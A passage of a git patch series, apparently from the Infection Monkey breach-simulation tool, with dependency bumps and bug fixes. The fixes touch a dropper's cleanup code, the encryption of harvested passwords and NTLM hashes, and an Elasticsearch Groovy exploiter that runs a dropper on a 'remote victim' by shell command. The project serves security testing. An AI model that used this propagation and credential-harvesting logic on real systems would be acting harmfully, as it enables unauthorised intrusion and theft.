"karma-phantomjs-launcher": "^1.0.0", "karma-sourcemap-loader": "^0.3.5", "karma-webpack": "^1.7.0", "minimist": "^1.2.0", - "mocha": "^3.0.0", + "mocha": "^3.5.3", "null-loader": "^0.1.1", "open": "0.0.5", - "phantomjs-prebuilt": "^2.1.15", - "react-addons-test-utils": "^15.0.0", + "phantomjs-prebuilt": "^2.1.16", + "react-addons-test-utils": "^15.6.2", "react-hot-loader": "^1.2.9", - "rimraf": "^2.4.3", + "rimraf": "^2.6.2", "style-loader": "^0.13.2", "url-loader": "^0.5.9", "webpack": "^1.15.0", @@ -61,28 +61,29 @@ }, "dependencies": { "bootstrap": "^3.3.7", - "core-js": "^2.5.1", + "core-js": "^2.5.5", "downloadjs": "^1.4.7", "fetch": "^1.1.0", "js-file-download": "^0.4.1", "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", - "moment": "^2.21.0", + "moment": "^2.22.1", "normalize.css": "^4.0.0", - "prop-types": "^15.5.10", + "npm": "^5.8.0", + "prop-types": "^15.6.1", "rc-progress": "^2.2.5", - "react": "^15.6.1", - "react-bootstrap": "^0.31.2", - "react-copy-to-clipboard": "^5.0.0", - "react-data-components": "^1.1.1", + "react": "^15.6.2", + "react-bootstrap": "^0.31.5", + "react-copy-to-clipboard": "^5.0.1", + "react-data-components": "^1.2.0", "react-dimensions": "^1.3.0", - "react-dom": "^15.6.1", + "react-dom": "^15.6.2", "react-fa": "^4.2.0", - "react-graph-vis": "^0.1.3", + "react-graph-vis": "^0.1.4", "react-json-tree": "^0.10.9", "react-jsonschema-form": "^0.50.1", "react-modal-dialog": "^4.0.7", - "react-redux": "^5.0.6", + "react-redux": "^5.0.7", "react-router-dom": "^4.2.2", "react-table": "^6.7.4", "react-toggle": "^4.0.1", From cc4ad05be821eb8882a4e2fb23fdea2469c6d322 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 14:16:46 +0300 Subject: [PATCH 32/35] Bugfix in dropper.py, return value in all fail paths --- infection_monkey/dropper.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 1e6bf2048..ffc667ce4 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -53,7 +53,7 @@ class MonkeyDrops(object): if self._config['destination_path'] is None: LOG.error("No destination path specified") - return + return False # we copy/move only in case path is different file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path']) From 558fa749cabf4a8d90c7aa25464a19df6e393c86 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 14:20:21 +0300 Subject: [PATCH 33/35] Bugfix in dropper.py, handle gracefully failure in cleanup --- infection_monkey/dropper.py | 37 ++++++++++++++++++++----------------- 1 file changed, 20 insertions(+), 17 deletions(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index ffc667ce4..6e63e5404 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -133,22 +133,25 @@ class MonkeyDrops(object): LOG.warn("Seems like monkey died too soon") def cleanup(self): - if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ - os.path.exists(self._config['source_path']) and \ - WormConfiguration.dropper_try_move_first: + try: + if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ + os.path.exists(self._config['source_path']) and \ + WormConfiguration.dropper_try_move_first: - # try removing the file first - try: - os.remove(self._config['source_path']) - except Exception as exc: - LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc) + # try removing the file first + try: + os.remove(self._config['source_path']) + except Exception as exc: + LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc) - # mark the file for removal on next boot - dropper_source_path_ctypes = c_char_p(self._config['source_path']) - if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None, - MOVEFILE_DELAY_UNTIL_REBOOT): - LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)", - self._config['source_path'], ctypes.windll.kernel32.GetLastError()) - else: - LOG.debug("Dropper source file '%s' is marked for deletion on next boot", - self._config['source_path']) + # mark the file for removal on next boot + dropper_source_path_ctypes = c_char_p(self._config['source_path']) + if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None, + MOVEFILE_DELAY_UNTIL_REBOOT): + LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)", + self._config['source_path'], ctypes.windll.kernel32.GetLastError()) + else: + LOG.debug("Dropper source file '%s' is marked for deletion on next boot", + self._config['source_path']) + except AttributeError: + LOG.error("Invalid configuration options. Failing") From 4e5334f17775f48dd875bb33754358023924785b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 14:23:00 +0300 Subject: [PATCH 34/35] Fix possible bug when handling passwords with unicode characters #2 --- monkey_island/cc/resources/telemetry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 33a11fe58..6095b0946 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -211,7 +211,7 @@ class Telemetry(flask_restful.Resource): for field in ['password', 'lm_hash', 'ntlm_hash']: credential = attempts[i][field] if len(credential) > 0: - attempts[i][field] = encryptor.enc(credential) + attempts[i][field] = encryptor.enc(credential.encode('utf-8')) TELEM_PROCESS_DICT = \ From 3f0569a29e124e5d6c9123f44a34e34149f9de1a Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 14:34:26 +0300 Subject: [PATCH 35/35] EG bugfixes - Use dropper instead of monkey - Run disconnected shell - Check for dropper log instead of monkey log --- infection_monkey/exploit/elasticgroovy.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 182b8d792..989ae5cdf 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -10,7 +10,7 @@ import logging import requests from exploit import HostExploiter -from model import MONKEY_ARG +from model import DROPPER_ARG from network.elasticfinger import ES_SERVICE, ES_PORT from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth @@ -114,12 +114,14 @@ class ElasticGroovyExploiter(HostExploiter): """ Runs the monkey """ - cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' + + cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux) + cmdline += ' & ' self.run_shell_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) - if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): + if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") def download_file_in_linux(self, src_path, target_path):